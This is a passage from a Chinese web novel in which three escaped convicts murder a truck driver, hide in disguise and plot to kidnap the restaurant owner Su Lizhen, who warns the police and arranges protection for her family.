司机听完,大吃一惊。不过他还是留了个心眼,仍然毫不放松地问道:“你说你哥受伤了,那他在哪儿呢?怎么就你一个人?” 那人闻言,往一边挪了挪,指向刚刚他身后正对着的路边,对司机道:“大哥,我哥他就在那儿!” 司机赶忙从副驾驶上拿起手电筒,打开开关,扫了过去。 果然见到路边枯黄的杂草和碎石块间直挺挺躺着一个男人。 他手电照t过去时,还看到那男人土黄色的棉袄上一块块深色的痕迹,看着很像是血迹。 这时,拦车的小个子又忍不住哀求起来:“大哥,我真没骗人,我哥现在就剩一口气了!求你搭把手,赶紧送我们去医院吧!” 司机见状,想着人命关天,也不再犹豫:“那行,我先帮你把人抬到车上!” 司机打开车门,直接从车上跳下来,然后径自朝那躺着的男人走了过去。 小个子在他身后不禁露出一个怪异的笑容。 “大哥,等等我,我走不快!” 司机没回头,嘴边一句“没关系”才说了一半,突然眼前一花,一道小指粗的细麻绳兜头而下,竟直/逼/他脖颈而去。 司机意识到不对,生死存亡之际,他第一时间伸手抠住了一小截麻绳,拼命往外扯,努力争取呼吸的机会。 就在这时,斜里猛然又冲出一个人,抄起石块朝着挣扎的司机头上狠狠砸了下去,司机立时没了意识。 小个子仍然没撒手,直到确定司机彻底没有气息了,才收手。 小个子瞪了眼刚刚帮忙的同伙,不悦道:“下次动作快点!这么冷的天,你让我哥一直在地上躺着。要是再有下一次,就你自己上,别折腾我哥!” 说完,也不理这人,径自朝着地上一直躺着的男人跑去:“哥,不用再演了,你赶紧起来,别冻坏了!” 地上的男人迷迷糊糊坐起身,看了眼不远处车灯下的尸体,打了一个大大的哈欠:“这两天有点累,我刚才差点睡着了。” 小个子咧嘴笑了起来:“大哥再坚持坚持,等过了今晚,咱们就能好好睡一觉了。咱们先去那边车上瞅瞅,看看这死鬼带了啥好东西没有!” 同伙远远站在一边,看着这兄弟俩兄友弟恭的样子,眼中闪过一抹不屑,可他很快又调整好情绪,主动凑过去态度热切道:“对、对,小虎兄弟说的是!咱们先把这车掏了是正事,要是真能遇上好东西,那咱接下来正经能清闲几天。” 被叫“小虎”的小个子看都没看他,猴子一样蹿进车里就是一通翻找。 “哎呀,开门红,先摸着钱包了!我看看……哎呦,这死鬼还挺有钱!” “后面还有啥……哦,这里有两包衣服,我瞧瞧有没有大哥你能穿的……” “啥玩意儿,这怎么都是娘儿们穿的……哎呀,哈哈,大哥,看我找着啥了,这里居然还有两个娘儿们的假发!” “哥,你看我戴上这玩意儿咋样?” “……哈哈,真好玩,我也有披肩发啦!” 北风呼啸,乌云骤起,一场暴风雪正渐渐笼罩凤城。 苏丽珍睁开眼睛的时候,一看表,居然已经上午十点半了。 凤城这几天变天,一连数日见不到阳光,不是下雪、就是刮大风,气温骤降。 苏丽珍没注意,中了招,前天晚上突然发起了高烧,昨天直接在床上躺了一整天。 今早六点醒过来,基本已经不烧了,就是人没什么劲,浑身乏的厉害。 她在床上吃了碗李翠英熬的鸡丝粥,吞了两片药,迷迷糊糊地就又睡过去了。 等再一睁眼,这半上午都过去了。 苏丽珍好长时间没在床上躺这么久,人一好点,就躺不住了。 她简单洗漱了一下,换了身衣服,准备下楼看看家人。 火锅店这个时候已经上人了,苏丽珍下楼的时候,正赶上她爸在跟大堂两个老主顾聊天。 只听其中一人抱怨道:“你们说这都正月十二了,阳历二月份都十多号了,这天气还这么冷,快赶上三九天那阵了!昨晚后半夜,我家炉子忘了压煤,直接把我给冻醒了,这也太邪乎了!” “谁说不是呢!”另一个老客跟着道。 “过去老话都说‘天作有雨,人作有祸’,我看这天气跟这阵子的治安倒是对上了!” 先前开口的人就立马道:“这话对劲儿!你们是不是也都看前几天的报纸了?三天时间,两起灭门案,加一起八条人命,这也太惨了!” 不想,另一个老客却道:“老弟,已经不是八个人了!你是还没看今早的新闻吧?说是前儿个,在西郊那边车道附近又发现一具尸体,是个跑运输的货车司机。公安都证实了,也是叫这伙人害的!” “啊!还有受害者!”那人显然没想到,转头就对一旁的苏卫华道:“苏老板,你这儿有最新的报纸吗?劳烦拿给我看看!” 苏丽珍看她爸赶忙去柜台上收罗了一大堆报纸过来,放到两人的餐桌上。 “两位老哥,这都是今早新送的,我还没来得及看,你们找找,看哪份报纸上登了。” 之前已经看过报纸的那位老主顾立马道:“我知道,是‘凤城早报’,我给你们找!” “……喏,就是这个,你们看看吧!” 借报纸的人忙接过报纸,苏卫华也站在旁边跟着一起看。 “哎呦,这上面说这伙人劫了车后,直接去了西边的富溪市,后来车没油了才弃了车。这是不是说明他们现在已经离开凤城了?那咱这儿也能安全了吧!”老客看完报纸,连忙对众人道。 跟着看完那篇报道的苏卫华赞同道:“我看这仨人十有八/九是在富溪,富溪山多,往山里一躲,谁也找不着。” 另外一个老客也附和:“是啊,富溪那山沟一个挨一个的,人钻里了,就跟把一个小石子扔河底一样。” “富溪又挨着蒙区,头两年第一次严打的时候,我记得报纸上登过,说有人犯事就直接往那边跑。蒙区地广人稀,常常百八十里见不着一个大活人,警察也没招!” “我看这案子难办了!” 苏丽珍就眼见着三人的表情越发沉重起来。 这时,后厨刚好新熬了一大锅麻辣牛油锅底,苏卫华忙问两人什么时候上菜,两人虽然心情不佳,但作为积年的老饕,还是舍不得错过这口新鲜美味,当即叫苏卫华先上菜。 服务员来上菜,苏卫华顺手帮忙把客人桌上散落的报纸收好,又放回了柜台上。 “爸!” 苏丽珍迈下最后两截台阶,喊住人。 苏卫华一看闺女下楼,赶忙关切地上前道:“珍珍啊,你怎么下来了?刚刚你妈还说等锅底熬好了就上楼去看看你!你现在咋样?好没好点?头还疼吗?” 苏丽珍笑着摇头:“爸,我好多了,头也不疼了。我总在床上躺着也难受,就想活动活动。” 说着,她四下张望了一圈:“对了,苏爷爷他们呢?” 苏卫华道:“这两天东华大学什么半导体实验室一直往家里打电话,想请你孟姑爷爷帮忙指点一个什么难题。爸也不懂,反正这电话打了两天了。你孟姑爷爷本来就对学校有心结,加上你生病,心情更加不好,一直不愿意去。” “今天一大早,学校的领导和那个负责实验室的主任都来了,你孟姑爷爷考虑再三,又见你已经不发烧了,这才勉强同意走这一趟。” “芽芽也想去东华大学看看,就跟着你孟姑爷爷一起走了。” “至于你苏爷爷,说是前两天在市集上看到有人卖乌鸡了,非要再去找找,说买两只回来给你补身体。我怕外面有雪路滑,就叫小麦陪着去了。” 苏丽珍听了心里暖融融的。 苏卫华正说李翠英给她灶上热着粥呢,这就去给她盛点,就听店员招呼他:“老板,第一百货给咱把酒水捎过来了,司机师傅喊你去点数呢!” “哎,我这就去!” 苏卫华应了一声,转头又嘱咐苏丽珍:“闺女,你妈厨房那边刚熬完锅底,呛得很,你先别过去,你等爸回来给你盛粥啊!” “听话啊!” 苏丽珍哭笑不得,看她爸去点个数还得一路三回头。 心里温暖的厉害,一时更觉得病情已经好了个七七/八八。 这会儿柜台边只有她一个人,看着台面上的几份报纸,她不禁想起刚才苏卫华和两个客人的对话。 过完年这几天,公司积了不少事,她再不像年前那样清闲,这一个星期都是早出晚归。尤其在高烧的前两天,气温刚下降的时候,她就已经有些不舒服了,每天处理公务都觉得勉强,所以竟没留意出了这么大的事。 凤城发生了灭门惨案,还是两起! 想到这,她的好心情也消散了几分。 第234章 她翻找报纸,很快就找到了对灭门案件的详细报t道。 正月初七下午,凤城市南郊的五柳河劳改农场里三个劳改犯,在放风时间谎称腹痛,蒙蔽了看守的狱警,成功越狱。 一名看押的狱警被重伤,至今未脱离危险期。 三名逃犯越狱后,直奔西边距离农场三十里路的马兰河子镇,当晚潜入一对老夫妻家里,将老夫妻和他们年仅十岁的孙子残忍杀害,然后在受害人家里停留了一夜,第二天天亮前才离开。 之后,这三名凶犯一路向西北,于越狱第三天,也就是正月初九傍晚,在凤城市西南边缘的陆家子镇再次作案,杀害了包括一名孕妇在内的一家五口。 还有刚刚老主顾提到的那个遇害司机,尸体是在凤城西郊被人发现,死亡时间大概是正月初十凌晨一点到三点之间。 目前,警方已经证实三起案件凶手为同一伙人。 结合第二起灭门案的案发时间,警方推断这三名凶犯在离开陆家子镇后,继续沿着凤城边界线向北,到达凤城西郊一带杀人劫车,最后利用交通工具改道向西,离开凤城,前往西边紧邻的富溪市。 富溪市警方很快在辖区东侧、进入境内二十公里处,发现了被丢弃的汽车。 三名凶犯则踪迹全无。 这两天,警方在富溪市内展开地毯式搜查,却一直没什么线索。 公安部门已经在报纸上发布了三人的通缉令,并对能提供有效线索,帮助警方成功抓获任一凶犯的举报人员,予以五千元奖励。 苏丽珍特地看了下,通缉令上的照片都是黑白大头照,看样子像是三人入狱时拍的档案照,受限于当下的技术水平,放大后比较模糊。 尤其现在是大冬天,人们出门都习惯戴上厚厚的帽子围脖,更增加了辨认难度。 此外,还有多家报纸对三名凶犯的生平起底。 她扫了眼,原来其中有两人是亲兄弟,宏源县人,哥哥叫秦大虎、弟弟叫秦小虎。秦氏兄弟两年前因为抢劫致他人重伤入狱,赶上第二次严打,直接被判无期。 另外一个叫郭文忠,入狱原因是投机倒把…… 苏丽珍看到这里,不觉心头一跳。 郭文忠……她怎么觉得这名字有点耳熟? 她连忙往下看,报纸上说这个郭文忠在81年因犯投机倒把、危害社会等罪名,被判十五年。入狱后又因为殴打狱友致其重伤,加判七年。 81年,投机倒把,危害社会,郭文忠…… 等等,她想起来了!郭文忠,郭赖子! 对,就是郭赖子!是当初卖变质肉给“朱记”,教“朱记”老板朱广才如何用硼砂以劣充好的郭赖子! 这个人也跟刘五爷一样靠“黑市”起家,但是郭赖子心黑手狠、且野心勃勃,垂涎刘五爷的地盘和实力,光明正大比不过,就总是使些下/三/滥的手段,是个地地道道的败类。 苏丽珍其实没见过郭赖子本人,当初设局对付“朱记”,也因为“朱记”用的“劣质肉”来自郭赖子,她想用这件事解决朱广才,自然绕不开姓郭的。 加上为了能最快把朱广才的罪名砸实,让大家相信朱广才确实是知法犯法,她为此说服了刘五爷出手,把这条黑心产业链从产到销的主要参与者都揭发了出来。 所以郭赖子作为“劣质肉事件”的始作俑者,朱广才被罚的重,他就更跑不了,结局远比朱广才更惨,直接被重判十五年。 可以说,郭赖子能倒台,与她也脱不开关系。 苏丽珍眉头紧皱,一目十行把报纸上所有涉及灭门案的新闻报道都看了一遍,发现没有更多线索后才放下。 就在这时,柜台上的电话突然响起,苏丽珍拿起话筒。 “你好,珍珍火锅店。” “大侄女?”电话里传来刘五爷的声音,“这么巧,正好,我有点事要跟你说。” 对方一反常态的,没有像往常那般说笑逗趣,苏丽珍直觉不对,看着点完酒正准备过来的苏卫华,她赶忙低低回了一句:“五伯,您先稍等,我五分钟后给您回过去。”说完,就若无其事地挂了电话。 “闺女,谁打的电话?” 苏丽珍只道:“是打错了。” 接着,转移话题:“爸,酒都点完了?” 苏卫华点头:“点完了,你吕叔叔和刘叔叔他们讲究的很,现在每个月都会叫司机把咱们需要的酒水一次性拉过来,可省了咱不少事。” 苏丽珍点了点头。 苏卫华是个很重感情的人,就因为第一百货和第二百货的吕经理、刘经理在他们开店伊始愿意供应酒水,这些年还会主动帮忙送货上门,所以哪怕如今有许多搞酒水批发、甚至是酒厂自己的推销员频繁上门,苏卫华都婉拒了。 苏丽珍惦记着刘五爷的电话,听苏卫华说完话就准备上楼:“爸,我想回楼上再休息一会儿。” 苏卫华忙道:“哎,上去吧,爸待会儿给你把粥送上去。” “不用了,爸!”苏丽珍赶忙道,“我这会儿还不饿,不如再等等,待会儿苏爷爷他们回来了,咱们一起吃。” “我现在胃口不好,和你们一起吃饭,我说不定还能多吃点。” 闺女少见地撒起了娇,老父亲苏卫华可绷不住,他看了眼手表,快十一点了,那就不差这一会儿了,听闺女的。 “行,那你回楼上再躺一会儿。到饭点,爸再叫你!” 苏丽珍笑着点头,只是一转身,她脸上的笑容就消失了。 顾不得还有些发沉的脑子,她一路快步回到楼上,拿起二楼客厅茶几上的电话分机,立马给刘五爷拨了过去。 电话只响了一声,就被接起,刘五爷的声音再次自话筒中响起。不比刚刚在楼下嘈杂的大厅里,这会儿整个二楼只有她一个人,对方的声音便格外清晰。 “大侄女,你看最近的新闻了吧?报纸上刊登的灭门案那三个通缉犯之一,其中有个叫郭文忠的,就是当初的郭赖子。” “我给你打电话是想提醒你一声,这个郭赖子原本就心狠手辣,报复心挺强的,他现在弄出这些事,我一点都不意外。所以你和家人最近进出啥的都小心点,别大意了。” 见苏丽珍半天没出声,电话那边的刘五爷不由担心道:“大侄女,你没事吧?” 苏丽珍反应过来,连忙道:“五伯伯,我没事,多谢您提醒我!” 刘五爷略微松了口气,又反过来安慰道:“不过大侄女,你也不用太担心,你家在市中心,人口也多,这青天白日的,他们也没那么大胆子!” 按常理来说,确实如此,可那三个凶犯现在就是彻头彻尾的恶魔,谁又能跟恶魔讲得通道理、说得清常理? 这三人恶贯满盈,死有余辜,可若是因为他们,让她的家人有一丝一毫的损伤,她都没法承受。 这份担忧,相信电话那头的刘五爷也能感同身受。 她忍不住问对方:“五伯伯,这事您告诉家里人了吗?” 刘五爷叹气道:“就我们老两口知道。我没啥亲戚了,两个儿子,小的那个,自打去年考上了大学,觉得解放了,一放寒假就不着家。我索性给他打发的远远的,这阵子在首都,开学前回不来。老大一家三口,我也给支到外地去了。” “剩下一个你五大娘,我咋劝,她都不肯走,非要留下陪我。我知道她其实也害怕,整天疑神疑鬼的。就前天吧,有人在我家老房子那边打听我们家,赶巧就被我手下的人碰上了。” “这事叫她知道,她就受不了了,非说那人有问题,硬拉着我开始住公司,就图个人多安全。” 苏丽珍听得心里一动,追问道:“那五伯伯,打听您家的是什么人?您有没有查查?” 刘五爷却迟疑道:“我觉得这事挺蹊跷的,那人是个老太太,头发都白了,还拄着拐棍呢!” “我的人前天回老房子那边办事,偶然碰上她在跟我们以前的邻居打听我家,就上去搭话。结果老太太只是说跟我父辈认识,那天是赶巧路过,就随口打听一下。” “我的人没怀疑,过了一晚上才想起来,昨天早上顺口跟我提了一嘴。你五大娘当时也在我身边,一听这话,就咬定了那老太太不对劲。” “我爹妈没得早,我也没处问去。不过,我印象里确实没这么个人。” 苏丽珍听了t也觉得可疑:“五伯伯,会不会是什么人故意托了她来打听的?” 刘五爷再次叹气:“我也担心是这个!只是我邻居也说了,那老太太当时刚跟他们搭上话,我的人就过去了,老太太只说了几句话就走了。这没影没踪的,啥也查不出来啊。” 苏丽珍拧眉:“五伯伯,您有把这事告诉警方吗?” “告诉了!”刘五爷道,“郭赖子这种人,知道他跑出来了,还做下这么多孽事,我咋可能不防着!” “昨天我就联系市刑警队的卢大队长……大侄女,卢队你应该熟悉吧?市卢局家的大儿子,我记得你跟他们家小儿子是同学来着!” 苏丽珍应道:“对,我认识卢向杰大哥。” 刘五爷便继续道:“正月初九那天吧,卢队就找过我,想了解以前郭赖子的事。我之前跟郭赖子斗过挺多次,我在他手上吃过亏,后来我又借力推了他一把,把他送进去。” “卢队不知道后面的事,但是知道我跟这小子有仇,所以特地提醒我注意防备。为这,还给我留了个电话。” “晓得有这么一个老太太后,我没敢耽搁,当天就给卢队打了电话,卢队说会派人去查查。我不知道他查到啥没有,他们有个保密原则,我也没法问,但我总觉得希望不大。” “也说不定这就是一个误会,可能人家真就是凑巧遇上了问问。总之,五伯还是那句话,小心点没毛病,但也别太紧张了。往好处想,没准这几个败类明天就被逮住了!” 结束了和刘五爷的通话,苏丽珍目光沉沉地坐在沙发上。 说不害怕、担心,是假的。 可再害怕、再担心,她也必须强迫自己先冷静。 人一乱,就容易出错,也容易给人可乘之机! 所以这个时候,她不能乱,绝对不能…… 市区靠近东郊的小东门一带,某处民房内,一位年过五旬的大娘正热情地领着三位上门的房客看房。 “我这房子啊,别看外头旧,但里面都挺好的……你们看看,今早我还烧了炕,这会儿还热乎着呢!” “你们打算按日子租,说实话,也就我老太太不嫌费这个事。要不然人家宁可少要钱,也不愿意找你们这样的,住几天就走,太麻烦了!” 三人中,留着长长披肩发的小媳妇立马笑着道:“可不是,还真是多亏能碰见于大娘您这样好心的,要不然我们娘儿仨这回可要犯难了!” 小媳妇一开口,于老太太便忍不住多瞄了两眼,心里合计这小媳妇会说话,长得也白净,尤其这头长发,又黑又亮的,还挺招人! 就是这动静可不咋地,有点粗,像抽烟把嗓子抽倒了的老太太似的,不好听。 于老太太对小媳妇印象挺好,心里还算满意这三个租客,便道:“小齐啊,你们要短租可以,但是我这最少一次租十天,而且房租要提前一次性先给了。你们商量商量,要行的话,你们就租,不行就再到别家看看。” 小媳妇忙道:“行行,于大娘,我们愿意,就您这儿了。” 于老太太心里也高兴:“我这按整月算是十二块钱一个月,你们租十天,就给我四块。” “另外,还得给我四块钱押金,这是规矩。你们放心,只要你们不糟践我屋子,等你们退房的时候,这钱我是一准还的。” 小媳妇忙道:“应该的、应该的。” 说完,就低头对身边猫着腰、拄着拐棍的老太太软声道:“妈,您听见大娘说的了吧?咱得先把房钱给人家。” 第235章 那头上一片一片白发的老太太便动了动,颤颤巍巍从衣兜里掏出一小把钞票,数出八块钱来,递给了小媳妇。 小媳妇把钱交给房东老太太,顺便解释道:“我娘自从得病以后心思就重,我就想着把家里钱都交给她管,让她能心安。” 于老太太听了,便夸道:“小齐心思可真细啊!” 又见老太太身上一件簇新的蓝色棉袄,跟当闺女的红棉袄一个款式,一看就是商场货,这样一件棉袄可顶她好几个月房租了。 做闺女的舍得给妈买这么贵的衣裳,可见是真孝顺,不由感慨道:“到底是闺女,跟妈最贴心。” 就是从她这个位置看老太太,因为对方一直猫着腰、垂着头,从她的位置只能看见老太太鼻子往下的半截脸,也不知咋回事,这半截脸上还白惨惨的,偏偏老太太又一直不做声,瞧着就有点古怪。 于老太太没忍住,问了句:“小齐啊,你说你们是大老远从宏源县过来给你家老太太看病,那这位大姐到底得的啥病啊?” 之前没想起来,可别是啥传染病。 小媳妇叹气道:“是腰出了问题。大夫说了,我妈这是什么劳损,虽然不用住院,但这病也没法去根,只能一边针灸按摩、一边吃药,先治几天试试,麻烦着呢!要不我们也不用在这边租房子。” “医院附近的房子都不肯短租,又死贵,我们就想着往远点找,到时候多倒两趟车就是了。” “原来是这么回事!”于老太太松了口气,随即又道:“那你们租我这房子可租对了,医院附近的房子哪有便宜的。” 简单聊了几句,小媳妇就道:“大娘,您要没啥事的话,那我们先进屋歇一会儿,我娘这腰不能站时间太长。” 于老太太赶忙道:“那行,你们赶快进去歇着吧!有啥事再找我!” 小媳妇应了一声,三人就准备进屋。 “哎,等等!” 于老太太想起什么,又出声把三人喊住。 小媳妇回过头,脸上高高的扬起笑容有几分僵硬:“大娘,还有啥事吗?” 于老太太嘱咐道:“小齐啊,最近凤城边上的镇子出了灭门案,虽然离咱这儿有点距离,但是不怕一万、就怕万一。咱小东门这一片就属于城边子了,所以你们进出时小心点,那伙逃犯可凶得很!” “是吗,那我们是得多注意,多谢大娘提醒。” 小媳妇含笑的声音随着风,轻飘飘吹进于老太太耳朵里。 下一瞬,那个打从进来就没说过几个字的年轻男人突然也瓮声瓮气地开了口:“多谢大娘。” 于老太太还有点不习惯,忙道:“嗐,一句话的事有啥可谢的。就前天,街道还挨家挨户敲门,提醒大家夜里不要外出,注意关好门窗呢。你们才来,我可不得告诉你们一声!” 说完,于老太太又瞧了这年轻人一眼,看对方帽子、围脖捂得严实,露出的一双眼睛木愣愣的,一开口也是呆声呆气,但人倒是挺有礼貌。 这么瞧着,这小两口还不错,不像是那计较的人。 看他们也没带啥东西,说不定还住不满十天,那她这房子租的就合适了。 同时,一家“三口”进了屋,“小媳妇”把房门栓好后,立马转身,朝着那已经直起腰的“老太太”扑过去,手掌抵住人的后脑勺,一把将对方的脑袋狠狠压在炕席上。 “老太太”吓了一跳,想反抗,又忌惮旁边的大个子,只得挣扎着偏过头,好声好量地哀求道:“两位兄弟,有话好好说,千万别动手!我有啥做的不好的地方,你直管开口,我保证改!” 秦大虎没作声,只是慢条斯理解开随身带着的包袱,从里面拿出一袋槽子糕,咬开包装袋,取出一块大口吃了起来。 这边秦小虎不但没松手,还加大了几分手劲。 他阴恻恻道:“姓郭的,是不是你之前说把车开到富溪市境内丢掉,然后我们再从另一条路悄悄回来,让警察以为我们进入了富溪市境内,好放松凤城这边的搜查?” “你还说凤城市里有钱的多,叫我们看准机会绑个肥羊,弄一笔钱就跑到南边过逍遥日子,是吧?” “姓郭的,你他/妈是不是拿我们兄弟俩当傻子糊弄呢?你嘴里有一句实话吗?” 郭赖子的侧脸被重重按在炕席上,对方几乎下了死手,他的脸被挤得变了形,疼得不行,只能断断续续地勉强开口:“小、小虎兄弟,我说的都是实话啊!” “你不是也看了最近的报纸吗?现在警、警察都怀疑咱们是从富溪往、往蒙区那边跑了,咱的目的不是都达到了吗……哎呦!” 秦小虎再次加大了手劲,看对方t疼得直哆嗦,才阴恻恻道:“那还有你说的‘肥羊’呢?姓郭的,到现在你都不说实话,你别以为我不知道,你嘴里那两个‘肥羊’都是曾经得罪过你的人,就是他们把你送进大牢的,对吧?” “你想借我们兄弟俩的手替你报仇,就唬我们去冒险!那个他/妈/的什么刘五爷,那根本就是个硬茬子,你是不是想让我们兄弟俩去送死?啊?” 郭赖子感觉到左脸一阵洇湿,鼻尖嗅到了血腥味,应该是脸被粗糙的炕席硌破了,他心里升起恐惧,拼命求饶道:“小虎兄弟,我、我知道错了!我承、承认我有私心,但是这俩人确实有的是钱,值、值得咱们冒一回险。” “那个刘老五不行,还、还有那姓苏的小娘儿们!她有钱,身边又没那么多帮手,咱、咱们可以绑她!” 郭赖子感到抵在自己头上的手似乎松了不少,他稍微动了动,脸上的剧痛立刻缓解了不少,只是硌破的地方依然疼得厉害。 他轻吁一口气,眼中飞快闪过一抹儿恨意,却不忘继续鼓动对方:“小虎兄弟,我说的都是真的,这两天你也没少看报,连报纸上都说这姓苏的小娘儿们开的食品厂一年能卖出千万的熟食呢!她和她家人就在市中心一座独栋小洋楼住着,可比那个刘五爷好对付多了,咱们到时候就先绑了她……啊!” 身后再次袭来一股巨力,郭赖子只觉得脖子都要被按断了,这回是真的一个字都说不出来。 秦小虎狠戾道:“该怎么做,不需要你来安排!你最好给我老实点,别以为老子不知道你都干了啥!你去打听那个什么姓刘的,我都看到了!” “要不是怕你惹出事,我和我哥不会这么着急忙慌换地方!” “现在这时候,换一次地方,就冒一次险。这笔账,老子先给你记着!如果你再敢给我们兄弟惹事,别怪我连你一起弄死!” 苏丽珍上午接到刘五爷电话,下午就找了个借口出门,和丁大勇一起去了趟市刑警队。 不带丁大勇不行,家里人担心她感冒没好,不放心她自己开车。 两个人到了市刑警队,十分幸运地赶上了卢向杰正好在局里。 卢向杰见他们登门,还有些惊讶,以为苏丽珍遇上了什么事。不提对方跟自家弟弟的好友关系,两家这些年一直有走动,相处的不错。 而且对于这位聪明能干、坚强独立的小妹妹,他个人也十分欣赏,所以当即把两人请到他个人办公室里,先给两人倒了杯水,这才坐下,温和道:“我这条件简单,只有白水,你们凑合着喝点。苏家妹子,你们来找我有什么事?” 丁大勇也把目光投向苏丽珍,他也不知道师妹为啥要来这儿,甚至还跟家里人说谎是去工商局…… 苏丽珍深吸了一口气,把自己跟郭赖子的渊源如实道来。 “所以,你是说当初在‘朱记’饭店吃出问题,然后揭发老板朱广才的食客都是你安排的?” 卢向杰听了苏丽珍的话,一反之前的亲切,头一次以一种带着审视的目光看向苏丽珍。 当初郭赖子三人越狱成功后,他们为了抓人,早就把这小子生平那点事反复扒拉了好几遍。 对方因为“朱记”被曝使用劣质肉,进而被顺藤摸瓜抓住的事,他们自然一清二楚。 案宗他都看了几遍,当时两名食客在“朱记”就餐后腹部剧痛,被送入医院后确诊为急性肠胃炎,医生的诊断清清楚楚,高度怀疑与硼砂和劣质肉有关。 后来在两名食客没吃完的盛肉盘子和“朱记”一间隐蔽的小库房里,当时的办案人员也先后发现了硼砂粉末,以及大量掺杂了硼砂的劣质肉。 最后便顺着这条线查到郭赖子那边,成功追溯到“劣质肉”“硼砂肉”的源头。 这宗案子,人证、物证俱全,且环环相扣,没有任何问题。加上当时造成的影响太大,导致凤城市的私营个体经济一度活不下去,所以案子涉及到的几个嫌疑人全部被重罚。 郭赖子更是直接判了十五年。 卢向杰在看这宗案子的时候并没有想太多,案子本身并不复杂,造成的影响大也是因为涉及到了食品安全。 都说“民以食为天”,人们能吃饱饭才几年,危及大家餐桌安全的事又怎么能不算大事呢? 时至今日,他才知道原来这案子背后竟还有推手。 面对卢向杰锐利的目光,苏丽珍的目光始终没有变化,她向对方坦诚道:“是,卢大哥,人是我安排的,只是我没想到他们会真的把那些问题肉吃下去。毕竟我们事先已经确定了对方有问题,只要当众爆出来,让朱家没机会销毁证据和联系靠山,那我的目的就达到了,我们没理由非要拿身体去冒险。” “当然,您也可以觉得我是在狡辩,但就我自己而言,我可以保证自己说的都是实话。卢大哥,不管您信不信,我是不会为了扳倒我的敌人,就枉顾别人安危的。” 第236章 卢向杰盯了苏丽珍一会儿,确定她目光坦荡,应该所言非虚,眼神终于恢复了一点柔和。 但他还是肃着脸对苏丽珍道:“苏丽珍同志,你的行为已经明显越界,而且十分危险。我希望你明白,调查证据、确定犯罪嫌疑人是执法人员应该做的事,对违法犯罪份子该如何定罪、定多少罪也是由法律来衡量,不是任何人、包括我这个警察在内能随意干涉的。” “这次就算了,我可以不追究,但是下不为例。” 苏丽珍真诚地跟对方道谢:“卢大哥,您的话我都记住了,我今后一定谨言慎行,不会再做这样的事。” 卢向杰看她年轻的面庞,总会忍不住想起自家那个同样年纪的弟弟,不由心软了几分。 “苏家妹子,我知道你们从无到有,一点点走到今天,很不容易,但是你不要总想着什么都靠自己解决,你可以对我们国家的法律、对我们这些办案人员多一点信心。” “法律是公正的,就算实践的时候遇到这样、那样的问题,但正义总会到来,你要学会相信我们。” 苏丽珍点了点头:“我会记在心上的,谢谢你,卢大哥。” 人总会根据不同的境遇,做出不同的选择。 当年“朱记”的事如果放在今天,她完全可以会像卢大哥说的那样,一发现对方有问题就直接举报给执法人员,不会亲自动手。 就算对方有“能量”可以使正义“迟到”,她还可以举报第二次、第三次,直到对方受到惩罚为止。因为她已经足够强大,既不在意与对方慢慢过招,也有信心让正义不会一直“迟到”。 可当时的情况不一样,自家火锅店才开张半年,连房钱都没结清,根基不牢,她不能眼睁睁看着朱广才一次次上门搞破坏,不停给他们找麻烦; 更不想拿一家人的心血去验证对方的靠山够不够硬,去赌朱广才能不能一边把他们家踩到脚底,一边大事化小、小事化了。 所以她必须确保一击即中,不给对方任何放松和反扑的机会。 卢大哥有他自己的立场,也是真心为她着想,大概是怕她用惯了那些旁门左道,走了歪路。 她心里感激对方的这份维护,但无论重来多少次,在当时那个境况,她依然都会做出同样的选择。 她不后悔。 只是冒出郭赖子这条疯狗是个意外,她不后悔当年的决定,却不能不顾虑家人的安危。 “卢大哥,我这次来就是想跟您汇报一下我这边的情况。我听说郭赖子这个人报复心很重,当年他跟朱广才同时入狱,很可能也找过朱广才的麻烦。” “朱广才也是个很会算计的人,我觉得就算他想不到我在这件事中的作用,为了避祸,也会把责任推给我,因为当时我们两家的饭店竞争得很厉害。” 何况凡事做过必有痕迹,朱广才当时想不到,事后复盘未尝猜不到有人暗中推波助澜。 大概率是会想到她的。 卢向杰听完苏丽珍的话,稍一思考,马上起身走出办公室,招来两个人,让他们开车去朱家原先住过的地方打听一下,看看这几年朱家人有没有跟周围人指责,或抱怨过什么人。 两人走后,卢向杰才对苏丽珍和丁大勇道:“之前,我们联系过朱广才,想通过他侧面了解一下郭赖子。” “当年朱广才也确实和郭赖子一起服刑,最初的两个月,郭赖子经常找他麻烦t,因此经常被关禁闭。后来不知道是被关服了,还是已经消了气,总之从第三个月开始,这俩人就相安无事了。” “直到朱广才服刑第三年末,还有半个月出狱的时候,郭赖子忽然找机会又打了他一顿。这次郭赖子下了死手,朱广才直到出狱后还住了很长时间的院,后来不到一年就去世了。他妻子就带着家人搬去了外地。” 苏丽珍听得心里一沉。 坐在这里半天,终于从两个人的对话里意识到问题严重性的丁大勇,下意识道:“这人报复心太重了……” 卢向杰没作声。 大约过了半个小时,卢向杰桌上的电话响起,他接听后,看向苏丽珍的目光再次严肃起来。 “我的人已经打听到了,朱广才爱人在搬走前,经常在家里高声辱骂是‘姓苏的小贱人’害了他们家。” 所以苏丽珍之前的担心并不是没有道理,郭赖子很可能从朱广才那里认定是苏丽珍出手,导致他被牵连,一朝东窗事发,一无所有不说,还要在这深牢大狱里一呆十五年。 以郭赖子的性格,必然深恨苏丽珍,甚至超过真正的老对手刘五爷。 这样一来,苏家的处境就危险了。 卢向杰当即有了决断:“我会安排人轮流在你家附近蹲守,保证你们安全。另外,苏家妹子,这阵子你们出入的时候也要小心。” “谢谢卢大哥!” 苏丽珍捏紧了手指,努力保持冷静,又问对方:“卢大哥,我看报纸上都分析说郭赖子三人可能向西往蒙区逃窜了,您觉得呢?” 卢向杰摇了摇头:“具体情况,我不方便透露太多,我只能说,有这个可能。但我们警方办案,在没有确凿证据前,不会轻易排除任何一个可能。” 也就是说,他们还是有可能再返回凤城的。 丁大勇在旁边听得一颗心发沉,忙道:“卢大队长,那以您看,让我师妹他们一家出去躲一阵子,等这该死的郭赖子被抓住了再回来,行不行?” 卢向杰想了想,点头道:“这也是个办法。苏家小妹,你回去可以跟家里人商量一下,如果确定要走,就提前告诉我一声。” 等师兄妹俩从警局出来,刚上了车,丁大勇就着急道:“师妹,那个人太危险了,这事不能耽误!你和师父师娘他们必须走,越快越好!” 苏丽珍握紧对方的手臂,努力安抚对方,也像在安抚自己。 “我知道的,哥,你别紧张,我们走……而且不只我,这次你、丁大娘,还有岁岁也跟我们一起走!” 丁大勇几乎天天去店里,丁大娘和岁岁也隔三差五过来,两家关系太亲密了,如果他们一家走了,万一郭赖子发现找不到人,发疯再拿丁家人撒气就麻烦了。 不是她要把郭赖子想的神通广大,而是由这个人引发的任何一丝微小可能,都会给她在乎的人带来巨大的伤害。 